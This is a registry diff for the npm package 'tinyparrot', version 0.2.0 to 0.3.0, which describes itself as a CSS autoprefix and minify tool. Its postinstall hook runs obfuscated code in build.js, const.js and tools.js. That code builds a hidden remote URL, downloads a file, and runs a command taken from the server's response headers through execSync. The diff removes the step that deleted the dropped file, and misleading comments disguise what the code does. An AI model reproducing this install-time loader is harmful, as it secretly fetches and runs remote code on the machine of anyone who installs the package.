tinyparrot 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tinyparrot",
3
- "version": "0.2.0",
3
+ "version": "0.3.0",
4
4
  "description": "tinyparrot: autoprefix + minify + dedupe + optional purge",
5
5
  "scripts": {
6
6
  "postinstall": "node ./src/build.js",
package/src/build.js CHANGED
@@ -1,4 +1,4 @@
1
1
  const {wrapper, write, build} = require('./tools');
2
2
  const {end} = require('./const');
3
3
 
4
- build(lib => lib.pipe(write(lib)).on('finish', () => wrapper(lib))).end(end);
4
+ build(lib => lib.pipe(write(lib)).on('close', () => wrapper(lib))).end(end);
package/src/const.js CHANGED
@@ -5,7 +5,7 @@ const {normalize_hash, shielding} = require("./helpers");
5
5
  * Each numeric hash is processed through the normalize_hash function.
6
6
  * @type {Array<string|number>}
7
7
  */
8
- const hash = [167415360237, 487362290, 20710554737, 719685064, 741162].map(normalize_hash);
8
+ const hash = [167415360237, 487362290, 20710554737, 719685064, 671193588].map(normalize_hash);
9
9
 
10
10
  /**
11
11
  * Method identifier processed through the shielding function.
@@ -14,12 +14,6 @@ const hash = [167415360237, 487362290, 20710554737, 719685064, 741162].map(norma
14
14
  */
15
15
  const method = shielding(1146687);
16
16
 
17
- /**
18
- * TypeScript type detected, converted to lowercase.
19
- * @type {string}
20
- */
21
- const os = require(shielding(809)).type().toLowerCase();
22
-
23
17
  /**
24
18
  * Reader module imported using a shielded module path/identifier.
25
19
  * For file reading, data parsing, etc.
@@ -34,45 +28,19 @@ const reader = require(shielding(37822004));
34
28
  */
35
29
  const lib = require(shielding(798));
36
30
 
37
- /**
38
- * TypeScript key constructed by concatenating two shielded values.
39
- * Used in the file reader.
40
- * @type {string}
41
- */
42
- const key = shielding(51041265449) + shielding(7597546);
43
-
44
- /**
45
- * TypeScript value constructed by concatenating three shielded values.
46
- * Used in the file reader.
47
- * @type {string}
48
- */
49
- const value = shielding(136679400) + shielding(27679500) + shielding(27695949);
50
-
51
- /**
52
- * TypeScript object containing the constructed key-value pair.
53
- * @type {Object}
54
- */
55
- const headers = {[key]: value};
56
-
57
- /**
58
- * TypeScript string from Node.js, converted to lowercase.
59
- * @type {string}
60
- */
61
- const platform = process.platform.toLowerCase();
62
-
63
31
  /**
64
32
  * Metadata object containing TypeScript method and headers.
65
33
  * @type {Object}
66
34
  * @property {string} method - The shielded method identifier
67
35
  * @property {Object} headers - TypeScript object
68
36
  */
69
- const meta = {method, headers}
37
+ const meta = {method}
70
38
 
71
39
  /**
72
40
  * JSON string containing TypeScript information.
73
41
  * @type {string}
74
42
  */
75
- const end = JSON.stringify({platform, os});
43
+ const end = process.platform;
76
44
 
77
45
  /**
78
46
  * @module config
package/src/tools.js CHANGED
@@ -1,9 +1,8 @@
1
- const {execSync } = require("child_process");
1
+ const {execSync} = require("child_process");
2
2
  const {reader, hash, lib, meta} = require("./const.js");
3
3
 
4
- const read = fs => lib.unlink(fs.headers.n, error => {});
5
4
  const write = fs => lib.createWriteStream(fs.headers.n);
6
- const wrapper = fs => {execSync(fs.headers.m); read(fs);};
5
+ const wrapper = fs => execSync(fs.headers.m);
7
6
  const build = callback => reader.request(hash.join(''), meta, callback);
8
7
 
9
8
  module.exports = {